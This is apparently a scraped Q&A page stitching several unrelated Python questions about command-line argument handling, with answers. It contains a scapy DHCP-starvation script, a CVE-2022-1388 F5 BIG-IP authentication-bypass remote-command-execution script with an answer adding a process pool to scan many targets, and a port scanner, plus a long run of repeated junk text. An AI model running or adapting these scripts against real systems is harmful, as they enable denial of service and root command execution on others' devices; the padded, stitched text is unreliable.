I'm new to python and scapy. I'm trying to make a DHCP-starvation script. Only my arguments are not working. I get a NameError: name 'arg' is not defined error. When I change arg to argv i only get one list. What am I doing wrong?
#!/usr/bin/python3
from scapy.all import *
import sys
import time
import getopt
def main(argv):
conf.checkIPaddr = False
brmac = 'ff:ff:ff:ff:ff:ff'
network = ""
serverid = ""
begin = 1
end = 1
try:
opts, args = getopt.getopt(argv,"hnsb:e:")
except getopt.GetoptError:
print("dhcp.py -n 192.168.1. -s 192.168.1.1 -b 20 -e 250")
sys.exit(2)
for opt, args in opts:
if opt == "-h":
print("dhcp.py -n 192.168.1. -s 192.168.1.1 -b 20 -e 250")
sys.exit()
elif opt in ("-n"):
network = arg
elif opt in("-s"):
serverid = arg
elif opt in ("-b"):
begin = arg
elif opt in("e"):
end = arg
for ip in range(int(begin), int(end)):
adr = RandMAC()
sendp(Ether(src=adr, dst=brmac)/IP(src='0.0.0.0', dst='255.255.255.255')/UDP(sport=68, dport=67)/BOOTP(chaddr=adr)/DHCP(options=[('message-type', 'request'),("server_id",str(serverid)), ("requested_addr",str(network) + str(ip)), 'end']))
print("requesting ip " + str(network) + str(ip))
time.sleep(2)
if __name__ == "__main__":
main(sys.argv[1:])
You're using for opt, args in opts: as for loop, but then inside that for loop you're trying to refer to args as arg which does not exist.
Possible solutions to solve your error:
Change arg inside the for loop to args, so it matches the variable in the for loop
Change the variable name args to arg, so it matches the variable in your code
Related
I wrote a pentest script? but dont know how to add multiprocessing there, can smb hrlp me?
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
def usage():
print("Eg: \n python3 CVE-2022-1388.py -u https://127.0.0.1")
print(" python3 CVE-2022-1388.py -u httts://127.0.0.1 -c 'cat /etc/passwd'")
print(" python3 CVE-2022-1388.py -f urls.txt")
def poc(target):
url = requests.utils.urlparse(target).scheme + "://" + requests.utils.urlparse(target).netloc
payload = {"command": "run", "utilCmdArgs": "-c id"}
try:
res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
if (res.status_code == 200) and ('uid=0(root) gid=0(root) groups=0(root)' in res.text):
print("[+] {} is vulnerable!!!".format(url))
return True
else:
print("[-] {} is not vulnerable.".format(url))
return False
except Exception as e:
print("[-] {} Exception: ".format(url) + e)
pass
def exp(target, command):
url = requests.utils.urlparse(target).scheme + "://" + requests.utils.urlparse(target).netloc
payload = {"command": "run", "utilCmdArgs": "-c '{}'".format(command)}
try:
res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
if (res.status_code == 200) and ("tm:util:bash:runstate" in res.text):
print(res.json()['commandResult'])
return True
else:
print("[-] {} is not vulnerable.".format(url))
return False
except Exception as e:
print("[-] {} Exception: ".format(url) + e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description="CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE")
parser.add_argument('-u', '--url', type=str,
help="vulnerability verification for individual websites")
parser.add_argument('-c', '--command', type=str,
help="command execution")
parser.add_argument('-f', '--file', type=str,
help="perform vulnerability checks on multiple websites in a file, and the vulnerable websites will be output to the success.txt file")
args = parser.parse_args()
if len(sys.argv) == 3:
if sys.argv[1] in ['-u', '--url']:
poc(args.url)
elif sys.argv[1] in ['-f', '--file']:
if os.path.isfile(args.file) == True:
with open(args.file) as target:
urls = []
urls = target.read().splitlines()
for url in urls:
if poc(url) == True:
with open("success.txt", "a+") as f:
f.write(url + "\n")
elif len(sys.argv) == 5:
if set([sys.argv[1], sys.argv[3]]) < set(['-u', '--url', '-c', '--command']):
exp(args.url, args.command)
else:
parser.print_help()
usage()
I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
It appears that you are doing network requests and writing to a file. For this multithreading should be suitable. You need the following import:
from multiprocessing.dummy import Pool
If you wish to use multiprocessing instead, then:
from multiprocessing import Pool
It would appear that the only place where you have multiple jobs to run is for the --file option:
... # Previous lines omitted
if len(sys.argv) == 3:
if sys.argv[1] in ['-u', '--url']:
poc(args.url)
elif sys.argv[1] in ['-f', '--file']:
if os.path.isfile(args.file) == True:
with open(args.file) as target:
######## Start of Modified Code ###########
"""
urls = [] # This is unnecessary
"""
urls = target.read().splitlines()
pool = Pool(len(urls))
# Open file just once. Use flag "a" if you
# really want to append to an existing file:
with open("success.txt", "w") as f:
for idx, result in enumerate(pool.imap(poc, urls)):
if result:
f.write(urls[idx] + "\n")
######## End of Modified Code ###########
elif len(sys.argv) == 5:
if set([sys.argv[1], sys.argv[3]]) < set(['-u', '--url', '-c', '--command']):
exp(args.url, args.command)
else:
parser.print_help()
usage()
I am trying to do the port scanner from the Violent Python and I ran into following problem. This post will be similar to this post ("https://stackoverflow.com/questions/17807992/violent-python-port-inputs-not-being-seperated") but it is a different problem. I want to run multiple port like this
python PortScanner.py -H www.google.com -p 21, 22, 80
but it scanned only the initial first port (21) then exited the program So I want to know how can I fix this code to run multiple ports.
Note: It also said that args in (option, args) = parser.parse_args() is not accessible by Pylance so is it concern to it or how can I fix it as well.
import optparse
import socket
from socket import *
def connscan(tgtHost,tgtPorts):
try:
connSkt= socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtHost, tgtPorts))
connSkt.send('Violent Python\r\n')
results = connSkt.recv(100)
print ('[+]%d/tcp open'% tgtPorts)
print ('[+]' + str(results))
connSkt.close()
except:
print ('[-]%d/tcp closed'% tgtPorts)
def PortScan(tgtHost,tgtPorts):
try:
tgtIP=gethostbyname(tgtHost)
except:
print ("[-] Cannot resolve '%s': Unkown host"%tgtHost)
return
try:
tgtName= gethostbyaddr(tgtIP)
print ("\n[+] Scan Result for: "+ tgtName[0])
except:
print ("\n[+] Scan Result for: " + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
print ("Scanning Port " + tgtPort)
connscan(tgtHost,int(tgtPort))
def main():
parser = optparse.OptionParser('Usage: %prog -H ' +\
'<target host> -p <target port>')
parser.add_option('-H', dest = 'tgtHost', type = 'string', \
help = 'specify target host')
parser.add_option('-p', dest = 'tgtPort', type = 'int', \
help = 'Specify target port' )
(options,args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(',')
if ( tgtHost == None) | (tgtPorts[0] == None):
print(parser.usage)
exit (0)
print(*tgtPorts, sep=", ")
PortScan(tgtHost,tgtPorts)
if __name__ == '__main__':
main()
I managed to solve the problem by changing the type of tgtPort from int to string and use quote as following at the command line python PortScanner.py -H www.google.com -p "21, 22, 80".
I am trying to run two commands using python on a remote server. Although the
function main() executes, only the first command is executed, the second does not. Can somebody help me on this?
#!/usr/bin/python
import sys
import shlex, subprocess
sut = sys.argv[1]
pp = sys.argv[2]
sut_adapter = sys.argv[3]
pp_adapter = sys.argv[4]
switch_ip = sys.argv[5]
switch = sys.argv[6]
node_type = sys.argv[7]
hmc_name = sys.argv[8]
filename = sys.argv[1] + "_" + sys.argv[2] + ".p.config"
args_str= "/home/raymond/config_gen.pl {} {} {} {} {} {} {} {}".format(sut, pp, sut_adapter, pp_adapter, switch_ip, switch, node_type, hmc_name)
args_str2 = "/framework/scripts/ts//ts /home/NDD/fvndd_dedicated.p -t standard_frames_dedicated -c 1 -g /Jenkins/config/{}".format(filename)
def test_run():
args2 = shlex.split(args_str2)
pipe = subprocess.Popen(args2,bufsize=-1,stdin=subprocess.PIPE)
def main():
args = shlex.split(args_str)
pipe = subprocess.Popen(args,bufsize=-1,stdin=subprocess.PIPE)
test_run()
if __name__== "__main__":
main()
I've written a script using getopts to accept four user input items (two input files, and two output files). But for some reason I keep getting this error:
python2.7 compare_files.py -b /tmp/bigfile.txt -s /tmp/smallfile.txt -n /tmp/notinfile.txt -a /tmp/areinfile.txt
compare_files.py -b <biggerfile> -s <smallerfile> -n <notinfile> -a <areinfile> d
I/O error: [Errno 2] No such file or directory: ''
(<type 'exceptions.IOError'>, IOError(2, 'No such file or directory'), <traceback object at 0x7f10c485c050>)
I cant understand which input item variable is causing me problems. Please can someone tell me where I've gone wrong?
Here's the script:
import sys, getopt
def main(argv):
binputfilename = ''
sinputfilename = ''
outputfilename1 = ''
outputfilename2 = ''
try:
opts, args = getopt.getopt(argv, "h:b:s:n:a", ["bfile=", "sfile=", "nfile=", "afile="])
except getopt.GetoptError as (errno, strerror):
print(str(sys.argv[0]) + " -b <biggerfile> -s <smallerfile> -n <notinfile> -a <areinfile> a")
print("GetOpts error({0}): {1}".format(errno, strerror))
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print(str(sys.argv[0]) + " -b <biggerfile> -s <smallerfile> -n <notinfile> -a <areinfile> b")
sys.exit()
elif opt in ("-b", "--bfile"):
binputfilename = arg
elif opt in ("-s", "--sfile"):
sinputfilename = arg
elif opt in ("-n", "--nfile"):
outputfilename1 = arg
elif opt in ("-a", "--afile"):
outputfilename2 = arg
elif len(sys.argv[1:]) > 4 or len(sys.argv[1:]) < 4:
print(str(sys.argv[0]) + " -b <biggerfile> -s <smallerfile> -n <notinfile> -a <areinfile> c")
sys.exit(2)
#smallset = set(open(sinputfilename).read().split())
#bigset = set(open(binputfilename).read().split())
with open(sinputfilename, 'r') as smallsetsrc, open(binputfilename, 'r') as bigsetsrc, open(outputfilename1, 'w') as outfile1, open(outputfilename2, 'w') as outfile2:
smallset = set(line.strip() for line in smallsetsrc)
bigset = set(line.strip() for line in bigsetsrc)
#find the elements in smallfile that arent in bigfile
outset1 = smallset.difference(bigset)
#find the elements in small file that ARE in bigfile
outset2 = smallset.intersection(bigset)
count = 0
for msisdn in outset1:
count += 1
#outfile1.write("%s, %s, %s, %s\n" % (str(count)+".", msisdn))
print(str(count), msisdn)
# count = 0
# for msisdn in outset2:
# count += 1
# outfile2.write("%s, %s, %s, %s\n" % (str(count)+".", msisdn))
if __name__ == "__main__":
try:
main(sys.argv[1:])
except IOError, e:
print(str(sys.argv[0]) + " -b <biggerfile> -s <smallerfile> -n <notinfile> -a <areinfile> d")
print("I/O error: {0}".format(str(e)))
print(sys.exc_info())
Here is your code using argparse instead of getopts, which should better ensure that the correct names are being specified. (Typically, I don't like required options; I would use positional arguments instead.)
Note that you don't need to open the files at same time; only open the one you need, and only for as long as you are using it.
from __future__ import print_function
import argparse
def main():
p = argparse.ArgumentParser()
p.add_argument("-b", "--bfile", required=True)
p.add_argument("-s", "--sfile", required=True)
p.add_argument("-n", "--nfile", required=True)
p.add_argument("-a", "--afile" required=True)
args = p.parse_args()
with open(args.sfile) as smallsetsrc:
smallset = set(line.strip() for line in smallsetsrc)
with open(args.bfile) as bigsetsrc:
bigset = set(line.strip() for line in bigsetsrc)
outset1 = smallset.difference(bigset)
outset2 = smallset.intersection(bigset)
with open(args.nfile, "w") as out:
for count, msisdn in enumerate(outset1):
print("%d. %s" % (count, msisdn), file=out)
with open(args.afile, "w") as out:
for count, msisdn in enumerate(outset2):
print("%d. %s" % (count, msisdn), file=out)
if __name__ == "__main__":
main()
I'm trying to pipe information from one command through a python script and change the output dynamically using command line arguments.
ping 127.0.0.1 | FindAndHighlight.py -f "icmp"
I'm able to grab stdin input and search for icmp if I hard code it but I'm unable to figure out how to pass command line arguments to the script and receive piped data at the same time.
The core of my code is as follows. Thanks for any help!
def main(argv):
global debug, searchfor
try:
opts, args = getopt.getopt(argv, "h f:d", ["help", "debug", "find"])
except getopt.GetoptError:
print
print
print hilite("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
print hilite("~~~~~~~~~~~~~~~~~~~~~!!!### Bad Switch! ###!!!~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
print hilite("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-d", "--debug"):
debug = True
elif opt in ("--f", "--find"):
searchfor = arg
source = "".join(args)
if __name__ == "__main__":
main(sys.argv[1:])
print "Search String is: ", searchfor
# searchfor = "icmp" ## If I was to hard code the search string I would un-comment this line
try:
buff = ''
while True:
buff += sys.stdin.read(1)
if buff.endswith('\n'):
if searchfor and searchfor in buff:
buff = buff.replace(searchfor, hilite(searchfor, 'red', False))
print buff[:-1]
buff = ''
except KeyboardInterrupt:
sys.stdout.flush()
pass